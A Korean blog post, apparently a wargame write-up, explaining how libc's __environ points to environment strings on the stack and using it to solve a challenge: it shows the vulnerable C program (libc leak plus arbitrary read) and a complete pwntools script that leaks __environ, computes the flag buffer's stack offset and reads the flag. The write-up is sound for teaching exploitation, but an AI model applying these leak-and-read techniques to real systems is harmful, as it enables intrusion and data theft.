rosieblue
article thumbnail
728x90

__environ

__environ 변수는 라이브러리에 존재하는 변수로, 스택 주소를 가리킴 

 

즉 __enviorn은 스택 내의 어떤 주소를 값으로 갖는데, 해당 주소는 환경변수 스트링들이 담긴 테이블이라고 할 수 있다.

 

테이블에 담긴 각각의 주소는 문자열을 담았다. 즉 __environ은 문자열 배열의 포인터라고 할 수 있는 것이다.

해당 문자열들은 환경 변수 정보이다. (따라서 환경 변수 정보들은 stack에 담겨져 있는 것도 덤으로 알아간다~!)

 

 

문제 코드

// Name: environ.c
// Compile: gcc -o environ environ.c

#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>

void sig_handle() {
  exit(0);
}

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  signal(SIGALRM, sig_handle);
  alarm(5);
}

void read_file() {
  char file_buf[4096];

  int fd = open("./flag", O_RDONLY);
  read(fd, file_buf, sizeof(file_buf) - 1);
  close(fd);
}

int main() {
  char buf[1024];
  long addr;
  int idx;

  init();
  read_file();

  printf("stdout: %p\n", stdout); //라이브러리 릭 가능

  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1: //임의의 주소에 있는 데이터 출력
        printf("Addr: ");
        scanf("%ld", &addr);
        printf("%s", (char *)addr);
        break;
      default:
        break;
    }
  }
  return 0;
}

 

취약점

  • 라이브러리 주소 릭 가능
  • 임의의 주소의 데이터 읽기 가능

따라서 file_buf의 주소 찾기가 목표가 된다.

해당 변수는 스택 내에 존재하므로 스택 주소 릭 필요 -> 스택 주소를 가리키는 environ 환경 변수 이용

 

 

                                                         
from pwn import *

p=remote("host3.dreamhack.games",20640)
lib=ELF("./libc.so.6")
p.recvuntil("stdout: ")
lib_base=int(p.recvline()[:-1],16)-lib.symbols["_IO_2_1_stdout_"]
environ=lib_base+lib.symbols["__environ"]

p.sendlineafter("> ","1")
p.sendlineafter("Addr: ",str(environ))
#0x7ffff..12\x12...\x7f이런식으로 날라옴 ->u64하면 0x7f..12꼴로 바뀜
envstack=u64(p.recvn(6).ljust(8,b'\x00'))


디버깅 심볼 없이도 오프셋 구할 수 있따

도커에서 디버깅 심볼 없이 오프셋 구함

오프셋은 5480, 0x1568 이다!

 

따라서 file_buf=envstack-5480

p.sendlineafter("> ","1")
p.sendlineafter("Addr: ",str(file_buf))
print(p.recvall())

 

 

최종코드

from pwn import *

p=remote("host3.dreamhack.games",20640)
lib=ELF("./libc.so.6")
p.recvuntil("stdout: ")
lib_base=int(p.recvline()[:-1],16)-lib.symbols["_IO_2_1_stdout_"]
environ=lib_base+lib.symbols["__environ"]


p.sendlineafter("> ","1")
p.sendlineafter("Addr: ",str(environ))
#0x7ffff..12\x12...\x7f이런식으로 날라옴 ->u64하면 0x7f..12꼴로 바뀜
envstack=u64(p.recvn(6).ljust(8,b'\x00'))
print(envstack)

file_buf=envstack-5480
p.sendlineafter("> ","1")
p.sendlineafter("Addr: ",str(file_buf))

print(p.recvuntil("> "))

 

오늘을 통해 느낀건 디버깅 심볼 없이도 걍 gdb로 오프셋 구할 수있음

profile

rosieblue

@Rosieblue

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!